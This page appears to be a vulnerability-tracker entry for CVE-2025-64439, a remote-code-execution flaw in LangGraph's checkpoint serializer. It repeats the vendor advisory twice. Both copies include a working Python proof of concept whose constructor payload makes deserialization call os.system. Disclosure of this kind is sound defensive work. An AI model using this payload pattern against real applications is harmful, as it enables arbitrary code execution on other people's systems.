CVE-2025-64439
highpriority · track · 0EPSS 0.009 · 59 %ileEUUSEPSS · scored 2026-10-27
LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 2.1.2 and below, the JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a Remote Code Execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode. By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode. This issue is fixed in version 3.0.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.6–7.4
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-wwqv-p2pp-99h5LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer 2025-11-05ghsa · osvUS
# Summary Prior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `"json"` serialization mode. If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization. Upgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode. If you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. # Details **Affected file / component** [jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py) By default, the serializer attempts to use `"msgpack"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the `"json"` mode. When operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == "constructor"`) for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load. --- # Who is affected This issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who: 1. Allow untrusted or user-supplied data to be persisted into checkpoints, and 2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `"json"` mode. If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced. # Proof of Concept (PoC) ```python from langgraph.graph import StateGraph from typing import TypedDict from langgraph.checkpoint.sqlite import SqliteSaver class State(TypedDict): foo: str attack: dict def my_node(state: State): return {"foo": "oops i fetched a surrogate \ud800"} with SqliteSaver.from_conn_string("foo.db") as saver: graph = ( StateGraph(State). add_node("my_node", my_node). add_edge("__start__", "my_node"). compile(checkpointer=saver) ) attack = { "lc": 2, "type": "constructor", "id": ["os", "system"], "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"}, } malicious_payload = { "attack": attack, } thread_id = "00000000-0000-0000-0000-000000000001" config = {"thread_id": thread_id} # Malicious payload is saved in the first call graph.invoke(malicious_payload, config=config) # Malicious payload is deserialized and code is executed in the second call graph.invoke({"foo": "hi there"}, config=config) ``` Running this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution. Internally, this exploits the following code path: ```python from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer serializer = JsonPlusSerializer() # Used within the checkpointer serialized = serializer.dumps_typed(malicious_payload) serializer.loads_typed(serialized) # Executes os.system(...) ``` --- # Fixed Version The vulnerability is fixed in **`langgraph-checkpoint==3.0.0`** Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0 --- # Fix Description The fix introduces an **allow-list** for constructor deserialization, restricting permissible `"id"` paths to explicitly approved module/class combinations provided at serializer construction. Additionally, saving payloads in `"json"` format has been deprecated to remove this unsafe fallback path. --- # Mitigation Upgrade immediately to `langgraph-checkpoint==3.0.0`. This version is fully compatible with `langgraph>=0.3` and does **not** require any import changes or code modifications. In `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.
- PYSEC-2026-1527LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer 2026-07-07vendor · osvUS
# Summary Prior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `"json"` serialization mode. If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization. Upgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode. If you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. # Details **Affected file / component** [jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py) By default, the serializer attempts to use `"msgpack"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the `"json"` mode. When operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == "constructor"`) for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load. --- # Who is affected This issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who: 1. Allow untrusted or user-supplied data to be persisted into checkpoints, and 2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `"json"` mode. If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced. # Proof of Concept (PoC) ```python from langgraph.graph import StateGraph from typing import TypedDict from langgraph.checkpoint.sqlite import SqliteSaver class State(TypedDict): foo: str attack: dict def my_node(state: State): return {"foo": "oops i fetched a surrogate \ud800"} with SqliteSaver.from_conn_string("foo.db") as saver: graph = ( StateGraph(State). add_node("my_node", my_node). add_edge("__start__", "my_node"). compile(checkpointer=saver) ) attack = { "lc": 2, "type": "constructor", "id": ["os", "system"], "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"}, } malicious_payload = { "attack": attack, } thread_id = "00000000-0000-0000-0000-000000000001" config = {"thread_id": thread_id} # Malicious payload is saved in the first call graph.invoke(malicious_payload, config=config) # Malicious payload is deserialized and code is executed in the second call graph.invoke({"foo": "hi there"}, config=config) ``` Running this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution. Internally, this exploits the following code path: ```python from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer serializer = JsonPlusSerializer() # Used within the checkpointer serialized = serializer.dumps_typed(malicious_payload) serializer.loads_typed(serialized) # Executes os.system(...) ``` --- # Fixed Version The vulnerability is fixed in **`langgraph-checkpoint==3.0.0`** Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0 --- # Fix Description The fix introduces an **allow-list** for constructor deserialization, restricting permissible `"id"` paths to explicitly approved module/class combinations provided at serializer construction. Additionally, saving payloads in `"json"` format has been deprecated to remove this unsafe fallback path. --- # Mitigation Upgrade immediately to `langgraph-checkpoint==3.0.0`. This version is fully compatible with `langgraph>=0.3` and does **not** require any import changes or code modifications. In `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (14)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2025-64439cnnvd
- https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.pycnnvd
- https://github.com/langchain-ai/langgraph/commit/c5744f583b11745cd406f3059903e17bbcdcc8accnnvd
- https://github.com/langchain-ai/langgraph/releasesPatchcnnvd
- https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0cnnvd
- https://github.com/langchain-ai/langgraph/security/advisories/GHSA-wwqv-p2pp-99h5cnnvd
- https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.pyenisa_euvd
- https://github.com/langchain-ai/langgraph/commit/c5744f583b11745cd406f3059903e17bbcdcc8acenisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan